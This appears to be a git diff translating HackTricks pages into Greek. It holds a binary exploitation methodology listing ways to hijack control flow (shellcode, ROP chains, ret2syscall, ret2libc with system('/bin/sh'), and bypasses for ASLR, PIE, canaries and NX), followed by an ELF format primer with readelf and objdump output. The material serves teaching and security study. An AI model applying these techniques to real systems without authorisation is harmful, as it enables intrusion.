χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στο stack. +- Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να την παρακάμψετε. +- Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να την παρακάμψετε. +- Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε: +- Μια [**ROP**](./#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές. +- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές. +- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**. +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις. +- [**Αρχικοί μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. -### Goal: RCE +### Στόχος: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(Stack) Shellcode**](./#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στο stack πριν ή μετά την επαναγραφή του δείκτη επιστροφής και στη συνέχεια **να κάνετε jump σε αυτό** για να το εκτελέσετε: +- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak). +- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να κάνετε jump στη διεύθυνση του stack καθώς δεν θα αλλάξει ποτέ. +- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να κάνετε jump σε αυτό. +- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου στη συνέχεια **να αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να κάνετε jump εκεί. +- Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP. -#### Via syscalls +#### Μέσω syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τα **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**. +- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**. +- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές. -#### Via libc +#### Μέσω libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc). +- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά. +- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά. +- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε). +- Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** : +- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε. +- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη. +- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς να γνωρίζετε την libc**: Πρέπει να: +- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/). +- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων). +- Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε. -#### Via EBP/RBP +#### Μέσω EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στο stack. +- Χρήσιμο για **off-by-one** υπερχείλιση stack. +- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να κάνετε jump σε αυτό μέσω EBP. -#### Misc +#### Διάφορα -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις. +- [**Αρχικοί μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..1c16f6965 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# ELF Βασικές Πληροφορίες {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## Επικεφαλίδες Προγράμματος +Περιγράφουν στον φορτωτή πώς να φορτώσει το **ELF** στη μνήμη: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +Το προηγούμενο πρόγραμμα έχει **9 επικεφαλίδες προγράμματος**, στη συνέχεια, η **χαρτογράφηση τμημάτων** υποδεικνύει σε ποια επικεφαλίδα προγράμματος (από 00 έως 08) **βρίσκεται κάθε τμήμα**. -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - Επικεφαλίδα Προγράμματος -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +Περιέχει τους πίνακες επικεφαλίδων προγράμματος και τα μεταδεδομένα. ### INTERP -Indicates the path of the loader to use to load the binary into memory. +Υποδεικνύει τη διαδρομή του φορτωτή που θα χρησιμοποιηθεί για να φορτώσει το δυαδικό αρχείο στη μνήμη. ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +Αυτές οι επικεφαλίδες χρησιμοποιούνται για να υποδείξουν **πώς να φορτώσετε ένα δυαδικό αρχείο στη μνήμη.**\ +Κάθε **LOAD** επικεφαλίδα υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού αρχείου που θα αντιγραφούν εκεί**. -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +Για παράδειγμα, η δεύτερη έχει μέγεθος 0x1190, θα πρέπει να βρίσκεται στη διεύθυνση 0x1fc48 με δικαιώματα ανάγνωσης και εγγραφής και θα γεμίσει με 0x528 από την απόσταση 0xfc48 (δεν γεμίζει όλο τον κρατημένο χώρο). Αυτή η μνήμη θα περιέχει τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +Αυτή η επικεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις βιβλιοθήκες τους και στην εφαρμογή ανακατατάξεων. Ελέγξτε το τμήμα **`.dynamic`**. ### NOTE -This stores vendor metadata information about the binary. +Αυτό αποθηκεύει πληροφορίες μεταδεδομένων προμηθευτή σχετικά με το δυαδικό αρχείο. ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +Ορίζει την τοποθεσία των πινάκων αποσυμπίεσης στοίβας, που χρησιμοποιούνται από αποσφαλματωτές και συναρτήσεις χειρισμού εξαιρέσεων C++. ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +Περιέχει τη ρύθμιση της άμυνας κατά της εκτέλεσης στοίβας. Εάν είναι ενεργοποιημένη, το δυαδικό αρχείο δεν θα μπορεί να εκτελεί κώδικα από τη στοίβα. ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +Υποδεικνύει τη ρύθμιση RELRO (Relocation Read-Only) του δυαδικού αρχείου. Αυτή η προστασία θα σημάνει ως μόνο για ανάγνωση ορισμένα τμήματα της μνήμης (όπως το `GOT` ή τους πίνακες `init` και `fini`) αφού το πρόγραμμα έχει φορτωθεί και πριν αρχίσει να εκτελείται. -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +Στο προηγούμενο παράδειγμα, αντιγράφει 0x3b8 bytes στη διεύθυνση 0x1fc48 ως μόνο για ανάγνωση επηρεάζοντας τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`. -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει το τμήμα **`.plt.got`**, το οποίο χρησιμοποιείται για **lazy binding** και χρειάζεται αυτόν τον χώρο μνήμης για να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η τοποθεσία τους. ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +Ορίζει έναν πίνακα καταχωρήσεων TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις τοπικές μεταβλητές νήματος. -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## Επικεφαλίδες Τμημάτων +Οι επικεφαλίδες τμημάτων παρέχουν μια πιο λεπτομερή εικόνα του ELF δυαδικού αρχείου. ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +Επίσης υποδεικνύει την τοποθεσία, την απόσταση, τα δικαιώματα αλλά και τον **τύπο δεδομένων** που έχει η ενότητα. -It also indicates the location, offset, permissions but also the **type of data** it section has. +### Μετα-Ενότητες -### Meta Sections +- **String table**: Περιέχει όλα τα strings που χρειάζεται το αρχείο ELF (αλλά όχι αυτά που χρησιμοποιούνται πραγματικά από το πρόγραμμα). Για παράδειγμα, περιέχει ονόματα ενοτήτων όπως `.text` ή `.data`. Και αν η `.text` είναι στην απόσταση 45 στον πίνακα strings, θα χρησιμοποιήσει τον αριθμό **45** στο πεδίο **name**. +- Για να βρείτε πού είναι ο πίνακας strings, το ELF περιέχει έναν δείκτη στον πίνακα strings. +- **Symbol table**: Περιέχει πληροφορίες για τα σύμβολα όπως το όνομα (απόσταση στον πίνακα strings), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το σύμβολο. -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### Κύριες Ενότητες -### Main Sections +- **`.text`**: Οι εντολές του προγράμματος που πρέπει να εκτελούνται. +- **`.data`**: Παγκόσμιες μεταβλητές με καθορισμένη τιμή στο πρόγραμμα. +- **`.bss`**: Παγκόσμιες μεταβλητές που έχουν μείνει μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας έτσι την προσθήκη άχρηστων μηδενικών στο δυαδικό. +- **`.rodata`**: Σταθερές παγκόσμιες μεταβλητές (τμήμα μόνο για ανάγνωση). +- **`.tdata`** και **`.tbss`**: Όπως οι .data και .bss όταν χρησιμοποιούνται μεταβλητές τοπικές σε νήματα (`__thread_local` σε C++ ή `__thread` σε C). +- **`.dynamic`**: Δείτε παρακάτω. -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## Σύμβολα +Τα σύμβολα είναι μια ονομαστική τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικές σε νήματα... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL 